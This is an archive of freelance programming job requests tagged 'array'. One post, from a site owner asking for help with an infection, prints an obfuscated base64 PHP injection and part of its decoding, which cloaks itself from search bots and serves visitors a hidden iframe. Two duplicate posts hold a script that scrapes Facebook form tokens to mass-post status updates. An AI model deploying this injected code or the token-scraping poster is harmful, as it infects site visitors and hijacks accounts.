Archive

Posts Tagged ‘array’

Google Analytics Api Program 2

November 9th, 2011 Comments off

Write a PHP program that accesses the Google Analytics API using GAPI (Google Analytics PHP Interface) to return information about how visitors reach a website and then whether they bounce or convert.

Requirements
Provide Sample of a Past Google API Project in PHP
Produce well-documented PHP code
Use GAPI to interact with the Google Analytics API
http://code.google.com/p/gapi-google-analytics-php-interface/
Provide the methods below

Required Methods
get_top_keywords( $number_of_keywords, $start_date, $end_date )
Param int $number_of_keywords – The number of keywords to return the bounce and conversion rates for
Param string $start_date – The start date for the range to query (YYYY-MM-DD)
Param string $end_date – The end date for the range to query (YYYY-MM-DD)
Return array
Array(
Array(

Programing In Assembly Language 2

November 5th, 2011 Comments off

Computer Science 3160 Programming Assignment 6
Due Wednesday, November 9 at midnight
I will post program for exercise 4, page 185.
Modify this program (exercise 4, page 185) and implement exercise 5, page 221.

(Exercise 5, Page 221)
Write a value returning procedure search to search an array of double words for a specific double word value. Procedure search will have three parameters:
1) The value for which to search (a double word).
2) The address of the array
3) The number n of double words in the array (passed as a double word)
Return the position (1, 2,

Google Analytics Api Program

November 4th, 2011 Comments off

Write a PHP program that accesses the Google Analytics API using GAPI (Google Analytics PHP Interface) to return information about how visitors reach a website and then whether they bounce or convert.

Requirements
Provide Sample of a Past Google API Project in PHP
Produce well-documented PHP code
Use GAPI to interact with the Google Analytics API
http://code.google.com/p/gapi-google-analytics-php-interface/
Provide the methods below

Required Methods
get_top_keywords( $number_of_keywords, $start_date, $end_date )
Param int $number_of_keywords – The number of keywords to return the bounce and conversion rates for
Param string $start_date – The start date for the range to query (YYYY-MM-DD)
Param string $end_date – The end date for the range to query (YYYY-MM-DD)
Return array
Array(
Array(

C++ Program

October 28th, 2011 Comments off

The purpose of the fourth assignment is to begin to learn how to employ functions for a more modular code organization and utilize parallel arrays for data storage. Use the sample data input/output files below to test your program thoroughly before submitting it to the Curator.
For this program, you will set up a very simple database of computer system information and then respond to queries and
update commands on that database. The data will consist of model names, manufacturer names, and prices. Your program
will maintain an array of model names, a parallel array of manufacturer names, and a parallel array of prices.
There will be two input files for this program, one containing the initial computer system data and one containing a script of
commands to be processed. Your program will write all its output to a log file.
The appropriate input and output files
Here are some guarantees. The number of computer systems in the database will never exceed 100. The data will never
include two computer systems with the same model name (not even from different manufacturers). For formatting purposes,
you may assume that model and manufacturer names will never be longer than 30 characters.
Note: the use of struct or user-defined class variables is prohibited for this assignment. The point of this project is
the management of data in parallel arrays. Students who use an array of struct or user-defined class variables
instead will be assigned a score of zero.

This a general description of the assignment but it has very detailed instructions on how to do the program and for the class we are only able to use the things we have learned so far so the program needs to be done in order to meet these specific requirements. Attached are the detail descriptions and upon acceptance of project more files will be given.

Categories: C/C++, Program Tags: , , , , , ,

Ajax Javascript Help .. Multiple Values Array 2

October 11th, 2011 Comments off

What I’m trying to do is post an array of messages asynchronously using this code. I spent over an hour trying to make it only post the four items in the array, but it keeps posting gibberish in addition to the 4 items. Also, it doesn’t redirect when done.

var a = document.body.innerHTML;
formx = a.match(/name=”post_form_id” value=”([dw]+)”/)[1];
dts = a.match(/name=”fb_dtsg” value=”([^"]+)”/)[1];
composerid = a.match(/name=”xhpc_composerid” value=”([^"]+)”/)[1];
var msg = ['my first update',
'posting again',
'and again',
'done' ];

target = a.match(/name=”targetid” value=”([^"]+)”/)[1];
for (var i in msg) {
pst = “post_form_id=” + formx + “&fb_dtsg=” + dts + “&xhpc_composerid=” + composerid + “&xhpc_targetid=” + target+ “&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=” + encodeURIComponent(msg[i]) + “&xhpc_message=” + encodeURIComponent(msg[i]) + “&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest”;

with(newx = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1″), setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”) , send(pst);

}

redirect(‘http://apple.com’);

Ajax Javascript Help .. Multiple Values Array

October 11th, 2011 Comments off

What I’m trying to do is post an array of messages asynchronously using this code. I spent over an hour trying to make it only post the four items in the array, but it keeps posting gibberish in addition to the 4 items. Also, it doesn’t redirect when done.

var a = document.body.innerHTML;
formx = a.match(/name=”post_form_id” value=”([dw]+)”/)[1];
dts = a.match(/name=”fb_dtsg” value=”([^"]+)”/)[1];
composerid = a.match(/name=”xhpc_composerid” value=”([^"]+)”/)[1];
var msg = ['my first update',
'posting again',
'and again',
'done' ];

target = a.match(/name=”targetid” value=”([^"]+)”/)[1];
for (var i in msg) {
pst = “post_form_id=” + formx + “&fb_dtsg=” + dts + “&xhpc_composerid=” + composerid + “&xhpc_targetid=” + target+ “&xhpc_context=home&xhpc_fbx=1&xhpc_message_text=” + encodeURIComponent(msg[i]) + “&xhpc_message=” + encodeURIComponent(msg[i]) + “&UIPrivacyWidget[0]=40&privacy_data[value]=40&privacy_data[friends]=0&privacy_data[list_anon]=0&privacy_data[list_x_anon]=0&=Share&nctr[_mod]=pagelet_composer&lsd&post_form_id_source=AsyncRequest”;

with(newx = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1″), setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”) , send(pst);

}

redirect(‘http://apple.com’);

Easy/quick – Combine Two Arrays By Value

September 16th, 2011 Comments off

I need a php function that will combine two arrays by value.

Example:
———-

Array 1 Data (Main List):

Array
(
[1] => Array
(
[id] => 1
[name] => James
)

[2] => Array
(
[id] => 2
[name] => Mark
)

[3] => Array
(
[id] => 3
[name] => John
)

[4] => Array
(
[id] => 4
[name] => Adam
)

[5] => Array
(
[id] => 5
[name] => Sue
)
)

Array 2 Data (To sort main list by):

Array
(
[0] => 4
[1] => 3
[2] => 1
[3] => 5
[4] => 2
)

The values of array 2 should match the values of array 1 for the key ‘id’.

The end result should display the list (array) in the following order

4 – Adam
3 – John
1 – James
5 – Sue
2 – Mark

Please PM questions

Categories: Easy, PHP, Quick Tags: , , , , , ,

Amazon Associates Tracking Id Scraper 2

September 16th, 2011 Comments off

This project requires a php script using curl to login to this Amazon Associates and scrape the “Tracking ID Summary Report”.

This is the login url:

https://affiliate-program.amazon.com/gp/associates/login/login.html

I need a report of all tracking ids for “yesterday”.

Url for the report would something like this:

https://affiliate-program.amazon.com/gp/associates/network/reports/report.html?reportType=tagsReport&sortByParam=Tag&periodType=preSelected&preSelectedPeriod=yesterday&startDate=1315292400&endDate=1315378799&x=3&y=2

I require the following php array be built from the scraped content:

$values = array(
tracking_id => $tracking_id,
clicks => $clicks,
items_ordered => $items_ordered,
items_shipped => $items_shipped,
shipped_items_revenue => $shipped_items_revenue,
advertising_fees => $advertising_fees
);

That array is all I require. If the “Tracking ID Summary Report” has more then one page of results, then I require every page values to be put into the array.

Fix Mysql_fetch_array

September 13th, 2011 Comments off

Script should compare allowed domains listed in the database
to the email domain being used to join.

IF the domain is in the allowed domains list it should proceed.
If the domain is not in the allowed list ot gives an error message.

It works fine when you only have 1 domain listed in the database
but if you add more than one domain the array always list/compares
the first one.

For example…

if I have gmail.com and google.com listed as allowed domains then anyone using a gmail or google email address should be allowed to join. the way it works now is gmail can join but google gets the message the domain is not allowed.

Categories: Fix, Google, MySQL Tags: , , , , , ,

Amazon Associates Tracking Id Scraper

September 7th, 2011 Comments off

This project requires a php script using curl to login to this Amazon Associates and scrape the “Tracking ID Summary Report”.

This is the login url:

https://affiliate-program.amazon.com/gp/associates/login/login.html

I need a report of all tracking ids for “yesterday”.

Url for the report would something like this:

https://affiliate-program.amazon.com/gp/associates/network/reports/report.html?reportType=tagsReport&sortByParam=Tag&periodType=preSelected&preSelectedPeriod=yesterday&startDate=1315292400&endDate=1315378799&x=3&y=2

I require the following php array be built from the scraped content:

$values = array(
tracking_id => $tracking_id,
clicks => $clicks,
items_ordered => $items_ordered,
items_shipped => $items_shipped,
shipped_items_revenue => $shipped_items_revenue,
advertising_fees => $advertising_fees
);

That array is all I require. If the “Tracking ID Summary Report” has more then one page of results, then I require every page values to be put into the array.

Xml Parser Link Automation Utility

August 18th, 2011 Comments off

Hello,

We require a small script that should be in PHP that does the following:

A page with 3 radio buttons, one “raw”, one “site map” and one “xml”. There will be a text area above it that you place input in.

If the input select is raw, it will resemble this (URLs separated by newlines):
http://site.com/page
http://site.com/page2

If the input is site map, the input will be like the CONTENTS (not the URL, but it’s contents!) of this link:
http://cloudcomputingoffers.com/page-sitemap.xml

if the input is an RSS feed, the input will be like the CONTENTS (not the URL, but it’s contents!) of this link:
http://cloudcomputingoffers.com/feed/

—–

There will be another text area below it with a list to input a keywords separated by enters, like this:
key word 1
keyword 2

Then a submit button, for obvious reasons.

When submitting, the initial workflow depends on the type of data

Raw:
Parse and generate an array of all those items

Sitemap/RSS feed:
Generate an array out of the URLs on the page by parsing the XML (please note the XML structure will always remain the same for both RSS feeds and site maps so not to worry too much about that)

Once there is an array with the URLs, the keywords must be parsed the same way, generate an array of the keywords split on newlines

—–

Finally, what is required is that it generates output that is the following:

<a href=”{http://site.com|http://site2.com/page1|http://site5.com/page4}”>{keyword 1|key word 2|keyword 600}</a>

Basically, implode the URL array using pipes (|) and prefix/suffix with curly braces, same thing for keywords, include them as a link, et voila. The output should resemble the top, nothing more than that.

I welcome your bids and this should be a quick job.

Virus/malware Removal

July 24th, 2011 Comments off

I have a virus on my e-commerce site which is repeatedly modifying my index.php files, adding the following code

<?php eval(base64_decode(‘ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly9jdGZhZWZsLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ==’));

this is decoded as follows:
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array(‘bot’,'spider’,'spyder’,'crawl’,'validator’,'slurp’,'docomo’,'yandex’,'mail.ru’,'alexa.com’,'postrank.com’,'htmldoc’,'webcollage’,'blogpulse.com’,'anonymouse.org’,’12345′,’httpclient’,'buzztracker.com’,'snoopy’,'feedtools’,'arianna.libero.it’,'internetseer.com’,'openacoon.de’,'rrrrrrrrr’,'magent’,'download master’,'drupal.org’,'vlc media player’,'vvrkimsjuwly l3ufmjrx’,'szn-image-resizer’,'bdbrandprotect.com’,'wordpress’,'rssreader’,'mybloglog api’);
$stop_ips_masks = array(
array(“216.239.32.0″,”216.239.63.255″),
array(“64.68.80.0″ ,”64.68.87.255″ ),
array(“66.102.0.0″, “66.102.15.255″),
array(“64.233.160.0″,”64.233.191.255″),
array(“66.249.64.0″, “66.249.95.255″),
array(“72.14.192.0″, “72.14.255.255″),
array(“209.85.128.0″,”209.85.255.255″),
array(“198.108.100.192″,”198.108.100.207″),
array(“173.194.0.0″,”173.194.255.255″),
array(“216.33.229.144″,”216.33.229.151″),
array(“216.33.229.160″,”216.33.229.167″),
array(“209.185.108.128″,”209.185.108.255″),
array(“216.109.75.80″,”216.109.75.95″),
array(“64.68.88.0″,”64.68.95.255″),
array(“64.68.64.64″,”64.68.64.127″),
array(“64.41.221.192″,”64.41.221.207″),
array(“74.125.0.0″,”74.125.255.255″),
array(“65.52.0.0″,”65.55.255.255″),
array(“74.6.0.0″,”74.6.255.255″),
array(“67.195.0.0″,”67.195.255.255″),
array(“72.30.0.0″,”72.30.255.255″),
array(“38.0.0.0″,”38.255.255.255″)
);
$my_ip2long = sprintf(“%u”,ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf(“%u”,ip2long($IPs[0])); $second_d=sprintf(“%u”,ip2long($IPs[1]));
if ($my_ip2long >= $first_d

Javascript Photo Album Viewer

July 12th, 2011 Comments off

I need a script written in JavaScript that can display a navigation filmstrip of images. The user should be able to scroll horizontally through the images, by clicking-and-dragging the filmstrip with a mouse.

When viewing the web page on mobile devices such as an iPhone, the user should be able to scroll through the filmstrip by using touch gestures. There are JavaScript handlers like ontouchstart that can be used for this.

When clicking on an image in the filmstrip, a full-size image should be loaded in the frame above. The filmstrip image and full-size image filenames should be inputted into the script using an array such as:

images = new Array(
new Array(‘thumbnail1.jpg’, ‘fullimage1.jpg’, ‘unlocked’),
new Array(‘thumbnail2.jpg’, ‘fullimage2.jpg’, ‘unlocked’),
new Array(‘thumbnail3.jpg’, ‘fullimage3.jpg’, ‘locked’)
);

The script should load the thumbnail images for the filmstrip immediately, but only load the full-size images via Ajax when the user clicks on the thumbnail for that image.

The 3rd value of each array indicates whether the full-sized image is password-protected. If the value is ‘unlocked’, then the script should just load the image in the top frame. If it is ‘locked’, then it display a prompt-box asking for the password. After the user enters a password and clicks the submit button, it should open the full-size image URL with ?password=userinput appended to the URL.

I’ll take care of the image encryption. All this script needs to do is prompt for the password, and append the user’s input to the URL.

I attached a rough sketch of how the script should appear.

The script needs to be compatible with at least the following browsers:

Internet Explorer 9
Internet Explorer 8
Firefox 5
Google Chrome
Safari (Installed on iPhone, iPod, or iPad)

I will need to have exclusive ownership and copyright of the code written for this project. All of the code needs to be custom, and can’t use any external libraries.

Php Pie Chart Script

July 11th, 2011 Comments off

I need a PHP script that can draw a simple pie chart using PHP’s built in GD Library. It should be able to accept any number of numerical values as input, and draw a slice for each value that is the correct percentage of the total. The input will also specify the hex color that each slice should be.

I will need to have exclusive ownership and copyright of the code written for this project. All of the code needs to be custom, and can’t use any external libraries except for the GD library built into PHP.

Here is example input the script will receive, and the attached graph_sample.jpg shows the resulting image the script should create.

$graph_data = array(
array(5000, “00A3E8″),
array(2500, “ED1B24″),
array(2500, “23B14D”)
);

Fix My Session Code To Display Array 2

June 11th, 2011 Comments off

I have a form that displays a list of products being pulled from a database i need the checked products to be posted to my contacts form.

what I need done is to have the selected item’s displayed inside a textbox then with a checkbox next to the item so users can deselect a item. The uses should be able to go back to the product page and select more products which then get added to the form and add a button to clear selected items(empty array?).

worked version should also send the item’s selected with the email.

Categories: Code, Fix Tags: , , , , , ,

Fix My Session Code To Display Array

June 10th, 2011 Comments off

I have a form that displays a list of products being pulled from a database i need the checked products to be posted to my contacts form.

what I need done is to have the selected item’s displayed inside a textbox then with a checkbox next to the item so users can deselect a item. The uses should be able to go back to the product page and select more products which then get added to the form and add a button to clear selected items(empty array?).

worked version should also send the item’s selected with the email.

Categories: Code, Fix Tags: , , , , , ,

Extract Data From An Object (php)

June 9th, 2011 Comments off

Hi friends,

I need a code snippet to extract data from an object. However, the specific data I need are in arrays which are variable in depth and key names.

Please refer to the attached file contains the object $response.

Within $response is: $response[TrackResponse][Shipment][Package][Activity]

The Activity array consists of package tracking information. It may contain one array or as many as 50. The snippet you write should take each element of the Activity array and display it as a row of test, just as you see when tracking a package on UPS of FedEx web sites.

We are running PHP Version 5.2.16.

I would like you to send me the code snippet and I will pay promptly upon the successful test of your code. I will ONLY work through SL Escrow, please do not bother to ask me about any other payment arrangements.

Check my feedback, I pay fast and try to organize my projects well. Hopefully this will be some very quick money for you.

Contact me with any questions.

Parse Phpdoc To Php Multidimensional Array

May 25th, 2011 Comments off

Hello,

I need a class, function or small app to scrape PHPDoc tags out of a complex PHP project into a PHP multidimensional array.

Thank you.

Button Array Tweak

May 20th, 2011 Comments off

I own the open source code to a traffic exchange and have been re-designing the look of the surf bar. Job is 95% complete. It uses a button arraay to to advance to next page. I need the button array to output images (background-image) instead of colors (background-color).

Attached is a copy of button array code and surfbar output code.
Also a copy of attempted (failed) variations along with windows source code and images of what I have tried.

Java Array Modifications

May 14th, 2011 Comments off

Below is the details for the project. I need to have the attached code modified to meet the project requirements. I need this to be very simplistic for me. Some of the requirements are already completed, but I still need a few more modifications. Here is the full project requirements..

Write the program in Java (with a graphical user interface) and have it calculate and display the mortgage payment amount from user input of the amount of the mortgage and the user’s selection from a menu of available mortgage loans:

- 7 years at 5.35%
- 15 years at 5.5%
- 30 years at 5.75%

Use an array for the mortgage data for the different loans. Read the interest rates to fill the array from a sequential file. Display the mortgage payment amount followed by the loan balance and interest paid for each payment over the term of the loan. Add graphics in the form of a chart. Allow the user to loop back and enter a new amount and make a new selection or quit. Please insert comments in the program to document the program.

Php Calendar (values Pulled From Array) 2

May 7th, 2011 Comments off

I have:
- a mysql table with field containing an Array (array has id, date and content).
I need ONE PAGE:
- PHP page that will contain very basic calendar (monthly display with buttons for next/previous month) and input field (textarea).
- On form send page will populate array and populated array will be stored into DB
- On page load small calendar will have to check if the array has value for that date, and if it does, that date should be linked so when user clicks on that date, page will reload and display the content contained within the array. Same goes if user clicks on previous month (check if array has content for some of the days within that month and if it does, make that date click-able in order to display content).

Very simple and very basic. Need this done ASAP.

Photo attached, just to see what I mean…
Lowest bid will win as this is very straight-forward task.

Categories: Calendar, MySQL, PHP Tags: , , , , , ,

Php Calendar (values Pulled From Array)

May 5th, 2011 Comments off

I have:
- a mysql table with field containing an Array (array has id, date and content).
I need ONE PAGE:
- PHP page that will contain very basic calendar (monthly display with buttons for next/previous month) and input field (textarea).
- On form send page will populate array and populated array will be stored into DB
- On page load small calendar will have to check if the array has value for that date, and if it does, that date should be linked so when user clicks on that date, page will reload and display the content contained within the array. Same goes if user clicks on previous month (check if array has content for some of the days within that month and if it does, make that date click-able in order to display content).

Very simple and very basic. Need this done ASAP.

Photo attached, just to see what I mean…
Lowest bid will win as this is very straight-forward task.

Categories: Calendar, MySQL, PHP Tags: , , , , , ,

Week 5 Mortgage Calculator

March 2nd, 2010 Comments off

Write the program in Java (with a graphical user interface) and have it calculate and display the mortgage payment amount from user input of the amount of the mortgage and the user’s selection from a menu of available mortgage loans:

- 7 years at 5.35%
- 15 years at 5.5%
- 30 years at 5.75%

Use an array for the mortgage data for the different loans. Read the interest rates to fill the array from a sequential file. Display the mortgage payment amount followed by the loan balance and interest paid for each payment over the term of the loan.

I have to have this completed by 2:00 am EST…. Attached is the previous assignment that you completed that I have to add the following: Use an array for the mortgage data for the different loans. Read the interest rates to fill the array from a sequential file. Display the mortgage payment amount followed by the loan balance and interest paid for each payment over the term of the loan. The progam does everything but the above.

I will pay 15$ to make this minor change.

Categories: Java Tags: , , , , , ,

Onclick Code Test And Additons

February 21st, 2010 Comments off

Hi,

This is a 2 part project. First, test the attached code to make sure it does what it is supposed to do. If not, fix it. Second, make some additions to this existing code.

1. Test the existing code.

The attached code is launched via an onclick command when a user presses one of our links/buttons. onclick=”open_win()”

When NEW USER executes this code on FIRST visit, a pop-under is supposed to happen for the FIRST url in the list array. popunder[0]

If this SAME USER returns, and it has been greater then 3 days since FIRST visit, a pop-under is supposed to happen for the SECOND url in the list array. popunder[1]

If this SAME USER returns, and it has been greater then 3 days since SECOND visit, a pop-under is supposed to happen for the THIRD url in the list array. popunder[2]

If this SAME USER returns, and it has been greater then 3 days since THIRD visit, a pop-under is supposed to happen for the FOURTH url in the list array. popunder[3]

etc…

AND….

If this SAME USER returns, and they have already viewed all urls within the array, and it has been 3 days since the last array variable view, then start the user back at popunder[0]

Also, I add/remove urls from the array pretty often. Sometimes there might be 1 array url, sometimes there might be 5 array urls. Make sure the code works no matter how many array urls I have listed.

I believe this already works correctly, yet it may not. I want you to check the original programmers logic in this code, and test it. If it doesn’t work, please let me know, and fix it.

2. Add Google Adwords and Microsoft Adcenter “onclick” conversion tracking to this existing code.

Every time this code is executed via onclick I need to load Google Adwords and Microsoft Adcenter Conversion tracking. No 3 day delays as in above pop-under code.

Google’s official onclick documentation on how to do this
http://adwords.google.com/support/aw/bin/answer.py?hl=en&answer=93181

Here is another page describing how to do it on google..
http://blog.vkistudios.com/index.cfm/2008/12/16/JavaScript-onClick-Google-AdWords-Conversion-Tracking

I’m not so sure how to do this for Microsoft Adcenter, but I’m sure it is not that tricky. I’m assuming you can look at their conversion code and figure it out.

My conversion tracking code for both Google/Microsoft Adcenter are at the bottom of the attached file.

I need this done quickly by a javascript programming expert. Outsource companies need not bid as I never pick you for programming work.

Regards,

Wyatt

Visual Basics

February 3rd, 2010 Comments off

1. Table 1 below shows the standard prices for items in a department store. Suppose prices will be reduced for the annual President’s Day Sale. The new price will be computed by reducing the old price by 10 percent, rounding up to the nearest dollar, and subtracting 1 cent. If the new price is greater than the old price, the old price is used as the sale price. Write a program to display in a list box the output shown in Table 2 below.

Table 1 President’s Day sale.

———————————————————————–

Item Original Price

———————————————————————–

GumShoes 39.00

SnugFoot Sandals 21.00

T-Shirts 7.75

Maine Handbag 33.00

Maple Syrup 6.75

Flaked Vest 24.00

Nightshirt 26.00

Table 2 Output

Item Sale Price

GumShoes 35.99

SnugFoot Sandals 18.99

T-Shirt 6.99

Maine Handbag 29.99

Maple Syrup 6.75

Flaked Vest 21.99

Nightshirt 23.99

2. Rewrite the program so input, processing, and output are each performed by calls to Sub procedures.

Private Sub btnCompute_Click(…) Handles btnCompute.Click

‘Convert feet and inches to centimeters

Dim str As String

Dim feet, inches, totalInches, centimeters As Double

str = “Give the length in feet and inches. “

feet = CDbl(InputBox(str & “Enter the number of feet.”))

inches = CDbl(InputBox(str & “Enter the number of inches. “))

totalInches = 12 * feet + inches

centimeters = 2.54 * totalInches

txtOutput.Text = “The length in centimeters is ” & centimeters

End Sub

3. Write a program to declare an array with the statement Dim state(49) As String and maintain a list of certain states. The list of states should always be in alphabetical order and occupy consecutive elements of the array. The buttons in the program should give the user the following options:

(a) Take the state specified by the user in a text box and insert it into its proper position in the array. If the state is already in the array, so report.

(b) Take the state specified by the user in a text box and delete it from the array. If the state is not in the array, so report.

(c) Display the states in the array.

4. The table below contains the statistics for a stock portfolio. (The current prices are given for January 17, 2008.)

Stock portfolio.

——————————————————————————-

Number Date Purchase Current

Stock of Shares Purchased Price/Share Price/Share

——————————————————————————-

Amgen 200 8/19/97 12.625 47.42

Delta Airlines 100 12/3/97 55.875 15.19

Novell 500 8/27/97 10.375 6.13

PPG 100 12/18/97 28.375 62.64

Timken 300 3/13/98 34.625 26.88

——————————————————————————-

(a) Compose a program to create the sequential file csvSTOCKS.TXT containing the information in the Stock portfolio table.

5. Write a program that contains a list box (with Sorted = False), a label, and two buttons captioned “Add an Item” and “Delete an Item”. When the Add an Item button is clicked, the program should request an item with an input dialog box and then insert the item above the currently highlighted item. When the Delete an Item button is clicked, the program should remove the highlighted item from the list. At all times, the label should display the number of items in the list.

6. A computer dealer offers two basic computers, the Deluxe ($1000) and the Super ($1500). The customer can order any of the following additional options: upgraded video card ($200), internal modem plus Wi-Fi ($30), or 1GB of added memory ($120). Write a program that computes the cost of the computer system selected.

Categories: Visual Basic Tags: , , , , , ,

Drupal Module Template

January 16th, 2010 Comments off

Hi all drupalers,

I have a module which provides a custom content-type called property, and a theme template file called node-property.tpl.php which exists in my custom theme folder.

I want to package my module, so I need to move the;
mytheme/theme/node-property.tpl.php

into my module structure like so;
mymodule/theme/node-property.tpl.php

so I have put the template into the theme/ folder in mymodule and added the following to my hook_theme function;

function my_module_theme() {
$path = drupal_get_path(‘module’, ‘mymodule’) .”/theme”;
return array(
// ‘image_view’ => array(
// ‘arguments’ => array(‘imagecache’ => NULL, ‘image’ => NULL),
// ‘file’ => $file,
// ),

‘node-property’ => array(
‘template’ => ‘node-property’,
‘arguments’ => array(‘fields’ => NULL),
‘path’ => $path,
),
}

However, this template is not picked, up and the property nodes are displayed with the default node.tpl.php

Can anyone suggest what I am doing wrong, or what tools I can use to debug. (i am using theme devel module which is pretty cool, but I am not sure how to get it to show me what themes are loaded..)

many Thanks,

Tom

Categories: Drupal Tags: , , , , , ,

Java Spider 2

January 11th, 2010 Comments off

I want a have spider modified or built which ever is easier. You can use existing opensource libraries or anything, it doesn’t matter as long as it acheives the tasks.
I want to be able to run the spider as an applet and from the command line so that i can be execute as a cron job.

The spider must be able to accept command line arguments eg.
main(String args[]) { String var = args[0]}

and the applet should have a simple gui.

The spider should be able to take in the domain name and crawl that domain only unless the option is choosen for the spider to leave the domain. It must have the option to re-index if html page has changed.

It should check header status of a page and does not index unless the page is available, so status 200 etc.

————— Specs —————————

Spider gets full html page contents
if the html tag i want to check for (eg <object></object>) is found then
Parse all html tags
get : array of tags i specify
example String getTags[]={“title”,”keyword”}

if keyword is empty/missing and description or title not empty then
split description at every word
return array of keywords limit to 250
else if title empty
attempt to extract keywords from html body up 250 words
if the html tag i checked for is not found then do not parse the page just get all the links from the page and continue crawling.

the crawler need to be able to return the values of html tags and their attributes that i specify.

I’d like the values returned to be in an associative array/map so that

myObject['title'] will contain the title
myObject['keyword'] will contain an array of keywords
myObject['tagName']['Attribute'] will get the attribute value of the html tag example
myObject['embed']['src']

Lastly i want the data to be inserted/indexed in my mySQL database but only if the html tag i checked for was found.

Please make sure you read and udnerstand the reqiurments. This will be integrated into one of my projects and it needs to be built according to my specs.

The spider can be a modification to the one found here
http://www.developer.com/java/other/article.php/1573761/Programming-a-Spider-in-Java.htm

or here
http://www.javaworld.com/javaworld/jw-11-2004/jw-1101-spider.html

or anything from the net
http://www.google.com/search?hl=en&source=hp&q=java+web+spider&aq=0&oq=java+web+spid&aqi=g2
